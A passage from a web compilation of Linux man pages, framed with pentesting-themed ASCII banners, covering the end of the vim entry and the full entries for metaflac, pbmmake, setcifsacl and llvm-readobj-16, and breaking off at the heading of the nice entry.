If Vim has been compiled with eval and channel feature, start logging and write entries to {filename}. This works like calling ch_logfile({filename}, ‘ao’) very early during startup.

-v
Start Vim in Vi mode, just like the executable was called “vi”. This only has effect when the executable is called “ex”.

-w{number}
Set the ‘window’ option to {number}.

-w {scriptout}
All the characters that you type are recorded in the file {scriptout}, until you exit Vim. This is useful if you want to create a script file to be used with “vim -s” or “:source!”. If the {scriptout} file exists, characters are appended.

-W {scriptout}
Like -w, but an existing file is overwritten.

-x
Use encryption when writing files. Will prompt for a crypt key.

-X
Don’t connect to the X server. Shortens startup time in a terminal, but the window title and clipboard will not be used.

-y
Start Vim in easy mode, just like the executable was called “evim” or “eview”. Makes Vim behave like a click-and-type editor.

-Z
Restricted mode. Works like the executable starts with “r”.


Denotes the end of the options. Arguments after this will be handled as a file name. This can be used to edit a filename that starts with a ‘-’.

–clean
Do not use any personal configuration (vimrc, plugins, etc.). Useful to see if a problem reproduces with a clean Vim setup.

–echo-wid
GTK GUI only: Echo the Window ID on stdout.

–literal
Take file name arguments literally, do not expand wildcards. This has no effect on Unix where the shell expands wildcards.

–noplugin
Skip loading plugins. Implied by -u NONE.

–remote
Connect to a Vim server and make it edit the files given in the rest of the arguments. If no server is found a warning is given and the files are edited in the current Vim.

–remote-expr {expr}
Connect to a Vim server, evaluate {expr} in it and print the result on stdout.

–remote-send {keys}
Connect to a Vim server and send {keys} to it.

–remote-silent
As –remote, but without the warning when no server is found.

–remote-wait
As –remote, but Vim does not exit until the files have been edited.

–remote-wait-silent
As –remote-wait, but without the warning when no server is found.

–serverlist
List the names of all Vim servers that can be found.

–servername {name}
Use {name} as the server name. Used for the current Vim, unless used with a –remote argument, then it’s the name of the server to connect to.

–socketid {id}
GTK GUI only: Use the GtkPlug mechanism to run gvim in another window.

–startuptime {file}
During startup write timing messages to the file {fname}.

–version
Print version information and exit.

–windowid {id}
Win32 GUI only: Make gvim try to use the window {id} as a parent, so that it runs inside that window.

ON-LINE HELP

Type “:help” in Vim to get started. Type “:help subject” to get help on a specific subject. For example: “:help ZZ” to get help for the “ZZ” command. Use <Tab> and CTRL-D to complete subjects (":help cmdline-completion"). Tags are present to jump from one place to another (sort of hypertext links, see “:help”). All documentation files can be viewed in this way, for example “:help syntax.txt”.

FILES

/usr/local/share/vim/vim??/doc/*.txt
The Vim documentation files. Use “:help doc-file-list” to get the complete list.
vim?? is short version number, like vim91 for Vim 9.1

/usr/local/share/vim/vim??/doc/tags
The tags file used for finding information in the documentation files.

/usr/local/share/vim/vim??/syntax/syntax.vim
System wide syntax initializations.

/usr/local/share/vim/vim??/syntax/*.vim
Syntax files for various languages.

/usr/local/share/vim/vimrc
System wide Vim initializations.

~/.vimrc, ~/.vim/vimrc, $XDG_CONFIG_HOME/vim/vimrc
Your personal Vim initializations (first one found is used).

/usr/local/share/vim/gvimrc
System wide gvim initializations.

~/.gvimrc, ~/.vim/gvimrc, $XDG_CONFIG_HOME/vim/gvimrc
Your personal gvim initializations (first one found is used).

/usr/local/share/vim/vim??/optwin.vim
Script used for the “:options” command, a nice way to view and set options.

/usr/local/share/vim/vim??/menu.vim
System wide menu initializations for gvim.

/usr/local/share/vim/vim??/bugreport.vim
Script to generate a bug report. See “:help bugs”.

/usr/local/share/vim/vim??/filetype.vim
Script to detect the type of a file by its name. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/scripts.vim
Script to detect the type of a file by its contents. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/print/*.ps
Files used for PostScript printing.

For recent info read the VIM home page:
<URL:http://www.vim.org/>

SEE ALSO

vimtutor(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.
Vim is based on Stevie, worked on by: Tim Thompson, Tony Andrews and G.R. (Fred) Walter. Although hardly any of the original code remains.

BUGS

Probably. See “:help todo” for a list of known problems.

Note that a number of things that may be regarded as bugs by some, are in fact caused by a too-faithful reproduction of Vi’s behaviour. And if you think other things are bugs “because Vi does it differently”, you should take a closer look at the vi_diff.txt file (or type :help vi_diff.txt when in Vim). Also have a look at the ‘compatible’ and ‘cpoptions’ options.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

923 - Linux cli command metaflac

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command metaflac and provides detailed information about the command metaflac, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the metaflac.

NAME 🖥️ metaflac 🖥️

program to list, add, remove, or edit metadata in one or more FLAC files.

SYNOPSIS

metaflac [ options ] [ operations ] FLACfile …

DESCRIPTION

Use metaflac to list, add, remove, or edit metadata in one or more FLAC files. You may perform one major operation, or many shorthand operations at a time.

GENERAL USAGE

metaflac is the command-line .flac file metadata editor. You can use it to list the contents of metadata blocks, edit, delete or insert blocks, and manage padding.

metaflac takes a set of “options” (though some are not optional) and a set of FLAC files to operate on. There are three kinds of “options”:

  • Major operations, which specify a mode of operation like listing blocks, removing blocks, etc. These will have sub-operations describing exactly what is to be done.

  • Shorthand operations, which are convenient synonyms for major operations. For example, there is a shorthand operation –show-sample-rate that shows just the sample rate field from the STREAMINFO metadata block.

  • Global options, which affect all the operations.

All of these are described in the tables below. At least one shorthand or major operation must be supplied. You can use multiple shorthand operations to do more than one thing to a file or set of files. Most of the common things to do to metadata have shorthand operations. As an example, here is how to show the MD5 signatures for a set of three FLAC files:

metaflac –show-md5sum file1.flac file2.flac file3.flac

Another example; this removes all DESCRIPTION and COMMENT tags in a set of FLAC files, and uses the –preserve-modtime global option to keep the FLAC file modification times the same (usually when files are edited the modification time is set to the current time):

metaflac –preserve-modtime –remove-tag=DESCRIPTION –remove-tag=COMMENT file1.flac file2.flac file3.flac

OPTIONS

–preserve-modtime
Preserve the original modification time in spite of edits.

–with-filename
Prefix each output line with the FLAC file name (the default if more than one FLAC file is specified). This option has no effect for options exporting to a file, like –export-tags-to.

–no-filename
Do not prefix each output line with the FLAC file name (the default if only one FLAC file is specified).

–no-utf8-convert
Do not convert tags from UTF-8 to local charset, or vice versa. This is useful for scripts, and setting tags in situations where the locale is wrong.

–dont-use-padding
By default metaflac tries to use padding where possible to avoid rewriting the entire file if the metadata size changes. Use this option to tell metaflac to not take advantage of padding this way.

SHORTHAND OPERATIONS

–show-md5sum
Show the MD5 signature from the STREAMINFO block.

–show-min-blocksize
Show the minimum block size from the STREAMINFO block.

–show-max-blocksize
Show the maximum block size from the STREAMINFO block.

–show-min-framesize
Show the minimum frame size from the STREAMINFO block.

–show-max-framesize
Show the maximum frame size from the STREAMINFO block.

–show-sample-rate
Show the sample rate from the STREAMINFO block.

–show-channels
Show the number of channels from the STREAMINFO block.

–show-bps
Show the # of bits per sample from the STREAMINFO block.

–show-total-samples
Show the total # of samples from the STREAMINFO block.

–show-vendor-tag
Show the vendor string from the VORBIS_COMMENT block.

–show-tag=name
Show all tags where the field name matches `name'.

–show-all-tags
Show all tags. This is an alias for –export-tags-to=-.

–remove-tag=name
Remove all tags whose field name is `name'.

–remove-first-tag=name
Remove first tag whose field name is `name'.

–remove-all-tags
Remove all tags, leaving only the vendor string.

–remove-all-tags-except=NAME1[=NAME2[=…]]
Remove all tags, except the vendor string and the tag names specified. Tag names must be separated by an = character.

–set-tag=field
Add a tag. The field must comply with the Vorbis comment spec, of the form “NAME=VALUE”. If there is currently no tag block, one will be created.

–set-tag-from-file=field
Like –set-tag, except the VALUE is a filename whose contents will be read verbatim to set the tag value. Unless –no-utf8-convert is specified, the contents will be converted to UTF-8 from the local charset. This can be used to store a cuesheet in a tag (e.g. –set-tag-from-file=“CUESHEET=image.cue”). Do not try to store binary data in tag fields! Use APPLICATION blocks for that.

–import-tags-from=file
Import tags from a file. Use `-’ for stdin. Each line should be of the form NAME=VALUE. Multi-line comments are currently not supported. Specify –remove-all-tags and/or –no-utf8-convert before –import-tags-from if necessary. If FILE is `-’ (stdin), only one FLAC file may be specified.

–export-tags-to=file
Export tags to a file. Use `-’ for stdout. Each line will be of the form NAME=VALUE. Specify –no-utf8-convert if necessary.

–import-cuesheet-from=file
Import a cuesheet from a file. Use `-’ for stdin. Only one FLAC file may be specified. A seekpoint will be added for each index point in the cuesheet to the SEEKTABLE unless –no-cued-seekpoints is specified.

–export-cuesheet-to=file
Export CUESHEET block to a cuesheet file, suitable for use by CD authoring software. Use `-’ for stdout. Only one FLAC file may be specified on the command line.

–import-picture-from={FILENAME|SPECIFICATION}
Import a picture and store it in a PICTURE metadata block. More than one –import-picture-from command can be specified. Either a filename for the picture file or a more complete specification form can be used. The SPECIFICATION is a string whose parts are separated by | (pipe) characters. Some parts may be left empty to invoke default values. FILENAME is just shorthand for “||||FILENAME”. For details on the specification, see the section Picture specification in the flac(1) man page.

–export-picture-to=file
Export PICTURE block to a file. Use `-’ for stdout. Only one FLAC file may be specified on the command line. The first PICTURE block will be exported unless –export-picture-to is preceded by a –block-number=# option to specify the exact metadata block to extract. Note that the block number is the one shown by –list.

–add-replay-gain
Calculates the title and album gains/peaks of the given FLAC files as if all the files were part of one album, then stores them as FLAC tags. The tags are the same as those used by vorbisgain. Existing ReplayGain tags will be replaced. If only one FLAC file is given, the album and title gains will be the same. Since this operation requires two passes, it is always executed last, after all other operations have been completed and written to disk. All FLAC files specified must have the same resolution, sample rate, and number of channels. Only mono and stereo files are allowed, and the sample rate must be 8, 11.025, 12, 16, 18.9, 22.05, 24, 28, 32, 36, 37.8, 44.1, 48, 56, 64, 72, 75.6, 88.2, 96, 112, 128, 144, 151.2, 176.4, 192, 224, 256, 288, 302.4, 352.8, 384, 448, 512, 576, or 604.8 kHz.

–scan-replay-gain
Like –add-replay-gain, but only analyzes the files rather than writing them to the tags.

–remove-replay-gain
Removes the ReplayGain tags.

–add-seekpoint={#|X|#x**|#s}**
Add seek points to a SEEKTABLE block. Using #, a seek point at that sample number is added. Using X, a placeholder point is added at the end of a the table. Using #x, # evenly spaced seek points will be added, the first being at sample 0. Using #s, a seekpoint will be added every # seconds (# does not have to be a whole number; it can be, for example, 9.5, meaning a seekpoint every 9.5 seconds). If no SEEKTABLE block exists, one will be created. If one already exists, points will be added to the existing table, and any duplicates will be turned into placeholder points. You may use many –add-seekpoint options; the resulting SEEKTABLE will be the unique-ified union of all such values. Example: –add-seekpoint=100x –add-seekpoint=3.5s will add 100 evenly spaced seekpoints and a seekpoint every 3.5 seconds.

–add-padding=length
Add a padding block of the given length (in bytes). The overall length of the new block will be 4 + length; the extra 4 bytes is for the metadata block header.

MAJOR OPERATIONS

–list
List the contents of one or more metadata blocks to stdout. By default, all metadata blocks are listed in text format. Use the options –block-number, –block-type or –except-block-type to change this behavior.

–remove
Remove one or more metadata blocks from the metadata. Use the options –block-number, –block-type or –except-block-type to specify which blocks should be removed. Note that if both –block-number and –[except-]block-type are specified, the result is the logical AND of both arguments. Unless –dont-use-padding is specified, the blocks will be replaced with padding. You may not remove the STREAMINFO block.

–block-number=#[,#[…]]
An optional comma-separated list of block numbers to display. The first block, the STREAMINFO block, is block 0.

–block-type=type[,type[…]]

–except-block-type=type[,type[…]]
An optional comma-separated list of block types to be included or ignored with this option. Use only one of –block-type or –except-block-type. The valid block types are: STREAMINFO, PADDING, APPLICATION, SEEKTABLE, VORBIS_COMMENT, PICTURE. You may narrow down the types of APPLICATION blocks selected by appending APPLICATION with a colon and the ID of the APPLICATION block in either ASCII or hexadecimal representation. E.g. APPLICATION:abcd for the APPLICATION block(s) whose textual representation of the 4-byte ID is “abcd” or APPLICATION:0xXXXXXXXX for the APPLICATION block(s) whose hexadecimal big- endian representation of the 4-byte ID is “0xXXXXXXXX”. For the example “abcd” above the hexadecimal equivalalent is 0x61626364

–application-data-format=hexdump|text
If the application block you are displaying contains binary data but your –data-format=text, you can display a hex dump of the application data contents instead using –application-data-format=hexdump.

–data-format=binary|binary-headerless|text
For use with –list. By default a human-readable text representation of the data is isplayed. You may specify –data-format=binary to dump the raw binary form of each metadata block. Specify –data-format=binary-headerless to omit output of metadata block headers, including the id of APPLICATION metadata blocks.

–append
Insert a metadata block from a file. This must be a binary block as exported with –list –data-format=binary. The insertion point is defined with –block-number=#. The new block will be added after the given block number. This prevents the illegal insertion of a block before the first STREAMINFO block. You may not –append another STREAMINFO block. It is possible to copy a metadata block from one file to another with this option. For example use metaflac –list –data-format=binary –block-number=6 file.flac > block to export the block, and then import it with metaflac –append anotherfile.flac < block

–remove-all
Remove all metadata blocks (except the STREAMINFO block) from the metadata. Unless –dont-use-padding is specified, the blocks will be replaced with padding.

–merge-padding
Merge adjacent PADDING blocks into single blocks.

–sort-padding
Move all PADDING blocks to the end of the metadata and merge them into a single block.

SEE ALSO

flac(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

924 - Linux cli command pbmmake

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmmake and provides detailed information about the command pbmmake, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmmake.

.

NAME 🖥️ pbmmake 🖥️

create a blank bitmap of a specified size

SYNOPSIS

pbmmake [-white|-black|-gray] width height

You can abbreviate any option to its shortest unique prefix.

DESCRIPTION

This program is part of Netpbm(1) .

pbmmake produces a PBM image of the specified width and height, either all black, all white, or a dithered gray. The default is white.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmmake recognizes the following command line options:

-white
-black
-gray
These options specify the color of the output. -white means all pixels are white. -black means all pixels are black. -gray means black and white pixels alternate.

You may specify only one of these. The default is all white.

SEE ALSO

pgmmake(1) , ppmmake(1) , pbm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmmake.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

925 - Linux cli command setcifsacl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command setcifsacl and provides detailed information about the command setcifsacl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the setcifsacl.

NAME 🖥️ setcifsacl 🖥️

Userspace helper to alter components of a security descriptor for Common Internet File System (CIFS)

SYNOPSIS

setcifsacl [-v|-U|-a|-A|-D|-M|-S|-o|-g] “{one or more ACEs or a SID}” {file system object}

DESCRIPTION

This tool is part of the cifs-utils suite.

setcifsacl is a userspace helper program for the Linux CIFS client file system. It is intended to alter an ACL or set owner/group SID of a security descriptor for a file system object. Whether a security descriptor to be set is applied or not is determined by the CIFS/SMB server.

This program uses a plugin to handle the mapping of user and group names to SIDs. /etc/cifs-utils/idmap-plugin should be a symlink that points to the correct plugin to use.

OPTIONS

-h
Print usage message and exit.

-v
Print version number and exit.

-U
Apply ACE editing actions (-a, -D, -M, -S) to SACL (aUdit ACL). The actions are appliend to DACL if -U is not specified.

-a
Add one or more ACEs to an ACL of a security descriptor. An ACE is added even if the same ACE exists in the ACL.

-A
Add one or more ACEs to the ACL of a security descriptor, while maintaining the preferred order of the ACEs. The preferred order of ACEs are described in the following documentation: https://docs.microsoft.com/en-us/windows/win32/secauthz/order-of-aces-in-a-dacl

-D
Delete one or more ACEs from an ACL of a security descriptor. Entire ACE has to match in an existing ACL for the listed ACEs to be deleted.

-M
Modify one or more ACEs from an ACL of a security descriptor. SID and type are used to match for existing ACEs to be modified with the list of ACEs specified.

-S
Set an ACL of security descriptor with the list of ACEs Existing ACL is replaced entirely with the specified ACEs.

-o
Set owner SID to one specified as a command line argument.

-g
Set group SID to one specified as a command line argument.

The owner/group SID can be specified as a name or a raw SID value. Every ACE entry starts with “ACL:” One or more ACEs are specified within double quotes. Multiple ACEs are separated by a comma.

Following fields of a DACL ACE can be modified with possible values:

  • SID - Either a name or a raw SID value.

  • type - ALLOWED (0x0), DENIED (0x1), OBJECT_ALLOWED (0x5), OBJECT_DENIED (0x6)

  • flags - OBJECT_INHERIT_FLAG (OI or 0x1), CONTAINER_INHERIT_FLAG (CI or 0x2), NO_PROPAGATE_INHERIT_FLAG (NI or 0x4), INHERIT_ONLY_FLAG (IO or 0x8), INHERITED_ACE_FLAG (IA or 0x10) or a combination/OR of these values.

  • mask - Either one of FULL, CHANGE, READ, a combination of R W X D P O, or a hex value.

Following fields of a SACL ACE can be modified with possible values:

  • SID - Either a name or a raw SID value.

  • type - AUDIT (0x2), AUDIT_OBJECT (0x7), AUDIT_CALLBACK (0xD), AUDIT_CALLBACK_OBJECT (0xF), MANDATORY_LABEL (0x11), RESOURCE_ATTRIBUTE (0x12), SCOPED_POLICY_ID (0x13)

  • flags - SUCCESSFULL_ACCESS (SA or 0x40), FAILED_ACCESS (FA or 0x80)

  • mask - Either one of FULL, CHANGE, READ, a combination of R W X D P O, or a hex value.

EXAMPLES

Add an ACE

setcifsacl -a “ACL:CIFSTESTDOM\user2:DENIED/0x1/D” <file_name>

setcifsacl -a “ACL:CIFSTESTDOM\user1:ALLOWED/OI|CI|NI/D” <file_name>

setcifsacl -U -a “ACL:CIFSTESTDOM\user1:AUDIT/SA/D” <file_name>

Add an ACE and reorder ACL

setcifsacl -A “ACL:CIFSTESTDOMuser3:ALLOWED/OI/FULL” <file_name> setcifsacl -A “ACL:CIFSTESTDOMuser2:DENIED/0x1/D” <file_name> setcifsacl -A “ACL:CIFSTESTDOMuser1:ALLOWED/OI|CI|NI/D” <file_name>

After setting above mentioned ACEs, below is output of getcifsacl: ACL:CIFSTESTDOMuser2:DENIED/0x1/D ACL:CIFSTESTDOMuser3:ALLOWED/OI/FULL ACL:CIFSTESTDOMuser1:ALLOWED/OI|CI|NI/D

Delete an ACE

setcifsacl -D “ACL:S-1-1-0:0x1/OI/0x1201ff” <file_name>

setcifsacl -U -D “ACL:S-1-1-0:0x2/FA/0xf01ff” <file_name>

Modify an ACE

setcifsacl -M “ACL:CIFSTESTDOM\user1:ALLOWED/0x1f/CHANGE” <file_name>

setcifsacl -U -M “ACL:CIFSTESTDOM\user1:AUDIT_OBJECT/SA/CHANGE” <file_name>

Set an ACL

setcifsacl -S “ACL:CIFSTESTDOM\Administrator:0x0/0x0/FULL,ACL:CIFSTESTDOM\user2:0x0/0x0/FULL” <file_name>

setcifsacl -U -S “ACL:CIFSTESTDOM\Administrator:AUDIT/SA/FULL,ACL:CIFSTESTDOM\user2:0x7/0x80/FULL” <file_name>

Set owner SID

setcifsacl -o “S-1-5-21-3338130290-3403600371-1423429424-2102” <file_name>

Set group SID

setcifsacl -g “Administrators@BUILTIN” <file_name>

NOTES

Kernel support for getcifsacl/setcifsacl utilities was initially introduced in the 2.6.37 kernel.

SEE ALSO

mount.cifs(8), getcifsacl(1)

AUTHOR

Shirish Pargaonkar wrote the setcifsacl program.

The Linux CIFS Mailing list is the preferred place to ask questions regarding these programs.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

926 - Linux cli command llvm-readobj-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-readobj-16 and provides detailed information about the command llvm-readobj-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-readobj-16.

NAME 🖥️ llvm-readobj-16 🖥️

readobj - LLVM Object Reader

SYNOPSIS

llvm-readobj [options] [input…]

DESCRIPTION

The llvm-readobj tool displays low-level format-specific information about one or more object files.

If input is “-”, llvm-readobj reads from standard input. Otherwise, it will read from the specified filenames.

DIFFERENCES TO LLVM-READELF

llvm-readelf is an alias for the llvm-readobj tool with a slightly different command-line interface and output that is GNU compatible. Following is a list of differences between llvm-readelf and llvm-readobj:

  • llvm-readelf uses GNU for the –elf-output-style option by default. llvm-readobj uses LLVM.

  • llvm-readelf allows single-letter grouped flags (e.g. llvm-readelf -SW is the same as llvm-readelf -S -W). llvm-readobj does not allow grouping.

  • llvm-readelf provides -s as an alias for –symbols, for GNU readelf compatibility, whereas it is an alias for –section-headers in llvm-readobj.

  • llvm-readobj provides -t as an alias for –symbols. llvm-readelf does not.

  • llvm-readobj provides –sr, –sd, –st and –dt as aliases for –section-relocations, –section-data, –section-symbols and –dyn-symbols respectively. llvm-readelf does not provide these aliases, to avoid conflicting with grouped flags.

GENERAL AND MULTI-FORMAT OPTIONS

These options are applicable to more than one file format, or are unrelated to file formats.

–all
Equivalent to specifying all the main display options relevant to the file format.

–addrsig
Display the address-significance table.

–expand-relocs
When used with –relocs, display each relocation in an expanded multi-line format.

–file-header, -h
Display file headers.

–headers, -e
Equivalent to setting: –file-header, –program-headers, and –sections.

–help
Display a summary of command line options.

–hex-dump=<section[,section,…]>, -x
Display the specified section(s) as hexadecimal bytes. section may be a section index or section name.

–needed-libs
Display the needed libraries.

–relocations, –relocs, -r
Display the relocation entries in the file.

–sections, –section-headers, -S
Display all sections.

–section-data, –sd
When used with –sections, display section data for each section shown. This option has no effect for GNU style output.

–section-relocations, –sr
When used with –sections, display relocations for each section shown. This option has no effect for GNU style output.

–section-symbols, –st
When used with –sections, display symbols for each section shown. This option has no effect for GNU style output.

–sort-symbols=<sort_key[,sort_key]>
Specify the keys to sort symbols before displaying symtab. Valid values for sort_key are name and type.

–stackmap
Display contents of the stackmap section.

–string-dump=<section[,section,…]>, -p
Display the specified section(s) as a list of strings. section may be a section index or section name.

–string-table
Display contents of the string table.

–symbols, –syms, -s
Display the symbol table.

–unwind, -u
Display unwind information.

–version
Display the version of the llvm-readobj executable.

@<FILE>
Read command-line options from response file <FILE>.

ELF SPECIFIC OPTIONS

The following options are implemented only for the ELF file format.

–arch-specific, -A
Display architecture-specific information, e.g. the ARM attributes section on ARM.

–bb-addr-map
Display the contents of the basic block address map section(s), which contain the address of each function, along with the relative offset of each basic block.

–demangle, -C
Display demangled symbol names in the output.

–dependent-libraries
Display the dependent libraries section.

–dyn-relocations
Display the dynamic relocation entries.

–dyn-symbols, –dyn-syms, –dt
Display the dynamic symbol table.

–dynamic-table, –dynamic, -d
Display the dynamic table.

–cg-profile
Display the callgraph profile section.

–histogram, -I
Display a bucket list histogram for dynamic symbol hash tables.

–elf-linker-options
Display the linker options section.

–elf-output-style=<value>
Format ELF information in the specified style. Valid options are LLVM, GNU, and JSON. LLVM output (the default) is an expanded and structured format. GNU output mimics the equivalent GNU readelf output. JSON is JSON formatted output intended for machine consumption.

–section-groups, -g
Display section groups.

–gnu-hash-table
Display the GNU hash table for dynamic symbols.

–hash-symbols
Display the expanded hash table with dynamic symbol data.

–hash-table
Display the hash table for dynamic symbols.

–notes, -n
Display all notes.

–pretty-print
When used with –elf-output-style, JSON output will be formatted in a more readable format.

–program-headers, –segments, -l
Display the program headers.

–raw-relr
Do not decode relocations in RELR relocation sections when displaying them.

–section-mapping
Display the section to segment mapping.

–stack-sizes
Display the contents of the stack sizes section(s), i.e. pairs of function names and the size of their stack frames. Currently only implemented for GNU style output.

–version-info, -V
Display version sections.

MACH-O SPECIFIC OPTIONS

The following options are implemented only for the Mach-O file format.

–macho-data-in-code
Display the Data in Code command.

–macho-dsymtab
Display the Dsymtab command.

–macho-indirect-symbols
Display indirect symbols.

–macho-linker-options
Display the Mach-O-specific linker options.

–macho-segment
Display the Segment command.

–macho-version-min
Display the version min command.

PE/COFF SPECIFIC OPTIONS

The following options are implemented only for the PE/COFF file format.

–codeview
Display CodeView debug information.

–codeview-ghash
Enable global hashing for CodeView type stream de-duplication.

–codeview-merged-types
Display the merged CodeView type stream.

–codeview-subsection-bytes
Dump raw contents of CodeView debug sections and records.

–coff-basereloc
Display the .reloc section.

–coff-debug-directory
Display the debug directory.

–coff-tls-directory
Display the TLS directory.

–coff-directives
Display the .drectve section.

–coff-exports
Display the export table.

–coff-imports
Display the import table.

–coff-load-config
Display the load config.

–coff-resources
Display the .rsrc section.

XCOFF SPECIFIC OPTIONS

The following options are implemented only for the XCOFF file format.

–auxiliary-header
Display XCOFF Auxiliary header.

–exception-section
Display XCOFF exception section entries.

–loader-section-header
Display XCOFF loader section header.

–loader-section-symbols
Display symbol table of loader section.

–loader-section-relocations
Display relocation entries of loader section.

EXIT STATUS

llvm-readobj returns 0 under normal operation. It returns a non-zero exit code if there were any errors.

SEE ALSO

llvm-nm(1), llvm-objdump(1), llvm-readelf(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

927 - Linux cli command nice

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nice and provides detailed information about the command nice, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nice.

NAME 🖥️ nice 🖥️

